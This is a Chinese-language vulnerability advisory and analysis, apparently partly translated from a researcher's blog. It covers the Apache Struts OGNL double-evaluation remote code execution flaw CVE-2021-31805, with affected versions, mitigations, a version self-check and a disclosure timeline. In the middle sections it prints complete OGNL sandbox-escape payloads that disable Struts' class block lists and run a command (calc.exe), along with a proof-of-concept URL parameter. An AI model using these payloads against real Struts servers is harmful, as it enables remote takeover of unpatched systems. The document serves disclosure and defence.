0x01漏洞公告
国外安全研究员披露了Apache Struts的OGNL表达式注入漏洞(CVE-2021-31805)的攻击代码,攻击者可利用该漏洞从OGNL实现沙盒逃逸完成命令执行,目前Apache Struts官方已发布安全更新,建议使用该框架的用户尽快采取安全措施。
细节是否公开 |
POC状态 |
EXP状态 |
在野利用 |
是 |
已公开 |
未知 |
未知 |
0x02影响范围
受影响的产品版本:
Struts 2.0.0 - Struts 2.5.29
补丁情况:
Struts 2.5.30
https://struts.apache.org/download.cgi#struts2530
0x03漏洞描述
Apache Struts< 2.5.30 存在OGNL表达式注入漏洞(CVE-2021-31805),如果开发人员使用%{...} 语法强制OGNL解析时,当对标签属性中未经验证的原始用户输入进行二次解析时,可能会导致远程代码执行,攻击者可利用该漏洞从OGNL实现沙盒逃逸完成命令执行。
0x04 在 2.5.26 上利用 Struts RCE
去年年底,2020 年,针对 Alvaro Munoz 和 Masato Anzai 发现的远程代码执行 (RCE) 漏洞的修复程序由 Apache Struts 发布,该漏洞通过 S2-061 或 CVE-2020-17530 进行评估,评估时为“强制 OGNL 评估”在标签属性中的原始用户输入上,可能导致远程代码执行 - 类似于 S2-059 或 CVE-2019-0230。虽然对两者的修复有助于限制易受攻击的场景,同时使用 Struts2 库并加强其沙箱,远程代码在最新版本的 Struts 2.5.26 中仍然可以执行。
虽然下面写的沙盒逃逸是新的并且适用于 Struts 2.5.26 ,但 我刚刚提到过这个 OGNL 评估最初是由 Man Yue Mo 和 Alvaro Munoz 报告的。请在此处查看他们的出色工作:https: //securitylab.github.com/research/apach e-struts-double-evaluation/ ... https://securitylab.github.com/advisories/GHS L -2020-205
第二个报告的 OGNL 评估问题和最后提到的 XSS 我相信是新的,但很快就会提供详细信息。
0x05 漏洞分析
Struts2 对 .jsp 元素的各种属性执行 OGNL 评估。与 S2-059 的示例非常相似,开发人员使用语法“%{}”定义属性的值,以使该页面动态并引入 url 参数。例如,如果您想将 url 参数“skillName”传递给页面,您可以执行以下操作:
https://<domain>/?skillName=abctest
<s:url action="list" namespace="/employee" var="url">
<s:a href="%{url}" id="%{skillName}">List available Employees</s:a>
</s:url>
后端的代码执行单个 OGNL 评估,以检索 GET 参数传入的输入。或者至少它应该是这样工作的。当该用户定义的值最终执行两次 OGNL 评估时,就会存在漏洞。
S2-061
在 S2-061 问题中,如果您使用在 jsp 中定义的类似于下面的锚标记并传入值 idVal=%{3*3} 输入将执行双重 OGNL 评估,导致 id="9"
//example
<s:a id="%{idVal}"/>
//result
<s:a id="9"/>
对此的修复是 https://github.com/apache/struts/commit/0a75d8e8fa3e75d538fb0fcbc75473bdbff9209e 。修复的核心以 UIBean 类为中心。
两个 OGNL 评估之一发生在 setId 函数期间,当它调用 findString(id) 并添加递归检查以不进行 OGNL 评估时,名称参数包含“%{”或“}”。
0x06新RCE
在对这个问题进行分类时,这个递归检查引起了我的注意。它在局部变量“name”上调用 completeExpressionIfAltSyntax 并将其分配给 expr,但随后在最终 OGNL 评估局部变量“expr”之前对局部变量“name”进行了递归检查。
这意味着对于某些 UIBean 标记,名称属性很容易受到双重 OGNL 评估,如果它们不包含值参数, 这可能会导致远程代码执行。
基本易受攻击元素的概念证明 POC:
<s:textfield label="test1" name="%{skillName}"/>
<!-- or -->
<s:label id="test2" name="%{skillName}" />
https://<domain>/?skillName=3*3 将计算 3*3 = 9。
有趣的是,对于某些元素,名称值会被评估但不会在结果中返回。所以对于 <s:label...> 它不会返回 OGNL 评估的名称值。这并不意味着未评估该值
并不意味着它没有评估后端的表达式。
在调用 expr 之前 findValue
在调用 expr 后 findValue
先进的
这一切都很好,但我们还没有突破 Struts 的 OGNL 沙箱。Struts2 在 struts-default.xml 文件中定义其排除的类和包。这些是在 2.5.26 中添加到阻止列表中的附加包。
除了所有这些类/包限制之外,OGNL 沙盒规则还包括:
-
不能调用静态方法
-
不能使用反射
-
无法创建新对象
即使你逃离了黑名单,你也不能直接调用 Runtime。这使得事情变得非常具有挑战性,因为这个沙箱在每次迭代中都变得更加安全,并减少了可能的 RCE 漏洞利用的大规模景观。但仍有一些未开发的可能性。如果您查找 S2-061 的 POC,您可能会想到以下内容:
%{
(#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#application.map2=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map2.setBean(#application.get('map').get('context')) == true).toString().substring(0,0) +
(#application.map3=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')).toString().substring(0,0) +
(#application.map3.setBean(#application.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedPackageNames',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('map3').put('excludedClasses',#application.get('org.apache.tomcat.InstanceManager').newInstance('java.util.HashSet')) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
}
这有效地评估为:
//Place valuestack in a beanmap map
application.map = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map.setBean(#request.get('struts.valueStack'));
//grab the context variable from valuestack and place in beanmap map2
application.map2 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map2.setBean(#application.get('map').get('context'));
//grab the memberaccess variable from context variable and place in beanmap map3
application.map3 = org.apache.tomcat.InstanceManager().newInstance('org.apache.commons.collecitons.BeanMap');
application.map3.setBean(#application.get('map2').get('memberAccess'));
//clear block lists found in memberaccess, by creating empty lists in their place.
application.get('map3').put(excludedPackageNames', new HashSet());
application.get('map3').put(excludedClasses', new HashSet());
//break out of sandbox restrictions and now execute calc.exe
application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}));
在 Struts2 中评估 OGNL 时,它在其上下文映射中具有一些映射到对象的预定义值。例如,其中一些包括“#application”、“#request”、“#attr”。因此,当您调用 %{#application.toString()} 时,您正在调用该对象及其 toString 函数。有一些非常有才华的研究人员发现,您可以使用以下方法绕过 OGNL/Struts 沙箱限制
#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')
创建一个 BeanMap 并使用它的setBean和put函数来清除excludedPackageNames 和excludedClasses 从而取消沙箱限制。
很好,但是新的沙盒限制阻止了 org.apache.tomcat.* 的使用
0x07 绕过 S2-061 沙盒限制
在使用诸如 software-forensic-kit、调试器和逐行阅读代码之类的调用图工具寻找数周后,我开始认为这不再可能了。我已经找到了许多方法来通过漏洞收集有趣的信息,或者在返回函数上导致奇怪的 ui 行为,但还没有突破沙箱。
我研究过的一种可能的沙箱绕过方法我认为可能有效,但我认为我的语法可能不正确。所以我请了一天假然后回来开始复习OGNL 语法 。当我注意到“地图”部分时,这让我的眼睛转向了一个完全不同的方向。
我意识到您可以创建自己的类的地图。
所以 https://<domain>/?skillName=#@java.util.LinkedHashMap@{"foo":"value"} 将创建一个 LinkedHashMap 对象并用 "foo":"value" 填充它。
或者您可以创建一个 BeanMap 对象。所以之前获取 BeanMap 的方法是:
#application.map=#application.get('org.apache.tomcat.InstanceManager').newInstance('org.apache.commons.collections.BeanMap')
现在可以通过简单地使用来完成:
#@org.apache.commons.collections.BeanMap@{}
使用 org.apache.commons.collections.BeanMap 没有任何沙箱限制,因此通过使用特殊的 OGNL 语法直接创建它,您可以绕过所有以前的沙箱限制。
应用该概念并将“%{”“}”删除到以前的 POC,执行 calc.exe 的新的完整 RCE 变为以下内容:
(#request.map=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map.setBean(#request.get('struts.valueStack')) == true).toString().substring(0,0) +
(#request.map2=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map2.setBean(#request.get('map').get('context')) == true).toString().substring(0,0) +
(#request.map3=#@org.apache.commons.collections.BeanMap@{}).toString().substring(0,0) +
(#request.map3.setBean(#request.get('map2').get('memberAccess')) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedPackageNames',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#request.get('map3').put('excludedClasses',#@org.apache.commons.collections.BeanMap@{}.keySet()) == true).toString().substring(0,0) +
(#application.get('org.apache.tomcat.InstanceManager').newInstance('freemarker.template.utility.Execute').exec({'calc.exe'}))
这是 POC 的实际应用:
0x08 复现过程
0x09 缓解措施
-
这些 UIBean 元素最终对 name 属性执行第二次 OGNL 评估,因为“value”属性不存在并且它试图填充该属性。因此,通过给所有属性一个空白值 =“”,这将有助于缓解这个问题。(例如:<s:label name="%{skillName}" value="" />
-
将 org.apache.commons.collection.BeanMap 添加到 Struts2 沙箱的 excludeClasses 列表将排除直接使用它。
-
官方建议:
升级到 Struts 2.5.30或更高版本。官方已发布新版本修复此漏洞,下载链接:
https://struts.apache.org/download.cgi#struts-ga
0x10 漏洞自查
可通过排查struts-core-版本号.jar来判断是否受此漏洞影响,如果没有版本号可以在jar文件的META-INF/MANIFEST.MF中搜索Bundle-Version,如果struts-core < 2.5.30则存在该漏洞。
0x11 整治
我联系了 Struts 团队,他们的看法是“在调查有关‘双重评估’的报告期间,我注意到这是一个必需的功能,现在我看不到删除或禁用它的选项”。他们的例子是 这个测试https://github.com/apache/struts/blob/master/core/src/test/java/org/apache/struts2/views/jsp/ui/TextfieldTest 。爪哇#L337-L350。其中 setName tag.setName(array[%{fooInt}]); 需要评估名称值。一次 OGNL 评估将其更改为 array[] 对象。另一个 OGNL 评估检索变量名称 fooInt 的值。”在这种情况下,需要“双重评估”,也许这是我们唯一需要的情况。”
Struts只建议遵循他们的建议来使用他们 的库https://struts.apache.org/security/#do-not-use-incoming-untrusted-user-input-in-forced-expression-evaluation
0x12 时间线
在这些日期之间,我发送了多封电子邮件,试图解释这个问题的严重性,它与 CVE-2020-17530、CVE-2019-0230、CVE-2016-4461 或 CVE-2016-0785 的相似之处,以及如何提供缓解措施将有助于他们的客户。
-
2021 年 1 月 4 日 - 向 [email protected] 提交问题。
-
2021 年 2 月 15 日 - Struts 回应说他们会“尝试解决问题”。然而,他们比较了在他们的 Web 框架中使用 GET url 参数等同于从 Internet 下载不安全的可执行文件。
-
2021 年 3 月 25 日 - Struts 表示他们认为这是必需的功能,并且没有看到删除或禁用它的选项。他们说“如果你想提出这个问题或发布博客,我也可以,请指出我们的建议,以教育开发人员如何使用此功能。”
-
2021 年 4 月 6 日 - 联系 Apache 小组请求 CVE,因为他们是 RCE 问题的 CNA。
-
2021 年 4 月 12 日 - Apache 在与 Struts 团队讨论后表示,他们已确定它不符合 CVE 名称的条件,并且“我很高兴在我的博客和演示文稿中强调这个问题”
-
2021 年 4 月 12 日 - Struts 在与 Apache 交谈后表示“考虑这些问题是否存在漏洞是一个两难的选择”,但表示他们正在研究一个看起来很有希望的修复程序。
-
2021 年 4 月 23 日 - 向 Mitre 提交了 CVE,通知他们 CNA 不认为这是一个漏洞。
-
2021 年 5 月 6 日 - 提交了第二个导致 RCE 的双重 OGNL 评估漏洞。还向 Apache Struts 提交了 XSS 问题。
-
2021 年 5 月 20 日 - 他们为更改提供了拉动 https://github.com/apache/struts/pull/483
-
2021 年 11 月 8 日 - 预发布不包含对 2.5.27 https://dist.apache.org/repos/dist/dev/struts/2.5.27/ 的修复。可能 2.5.28 或 2.6 会有它。
-
2022 年 4 月 4 日 -修复了多个问题 CVE-2021-31805 - https://github.com/apache/struts/pull/496
0x13 参考连接
https://mc0wn.blogspot.com/2021/04/exploiting-struts-rce-on-2526.html
https://mp.weixin.qq.com/s/oqV21xRZ7s9x_2yn7qn2IQ
https://mp.weixin.qq.com/s/wx33OOxscop1CT1rabqkBA
本文最终解释权归本文作者所有!!!
本公众号发布的靶场、文章项目中涉及的任何脚本工具,仅用于测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断;
本文章、项目内场所有资源文件,杜绝任何靶本公众号、自媒体进行形式的擅自转载、发布
本公众号对任何脚本及工具问题概不负责,包括不限于由任何脚本错误导致的任何损失或损害及任何法律责任;
直接使用本或公众发布的技术、靶场、文章项目中涉及的脚本工具,但在某些行为不符合任何国家/地区或相关地区的情况下进行传播时,引发的隐私或其他任何法律问题的后果概不负责;
如果任何单位或个人认为项目或文章的内容可能侵犯其权利,则应及时通知并证明其身份,证明我们将在收到证明文件后删除相关内容;
以任何方式查看或使用此项目的人或直接或间接使用项目的任何脚本的使用者都应仔细阅读此声明;
本公众号保留更改或补充,免责随时声明的权利;
一旦您访问或使用访问本公众号任何项目,则视为您已接受此免责声明。
您在本声明未发出之时,使用或者访问了本公众号任何项目 ,则视为已接受此声明,请仔细阅读。
此致
由于、利用的信息而造成的任何或直接的此文传播后果,均由用户本人负责,作者不承担任何直接责任。
一切法律后果均由攻击者承担!!!
日站不规范,亲人两行泪!!!
日站不规范,亲人两行泪!!!
日站不规范,亲人两行泪!!!
专注于信息安全方面分享,非营利性组织,不接任何商业广告
关注不迷,点赞!关注!转向!评论!!
要投稿的请留言或者加微信,会第一时间回复,谢谢
原文始发于微信公众号(每天一个入狱小技巧):【漏洞通告】CVE-2021-31805 RCE复现/分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论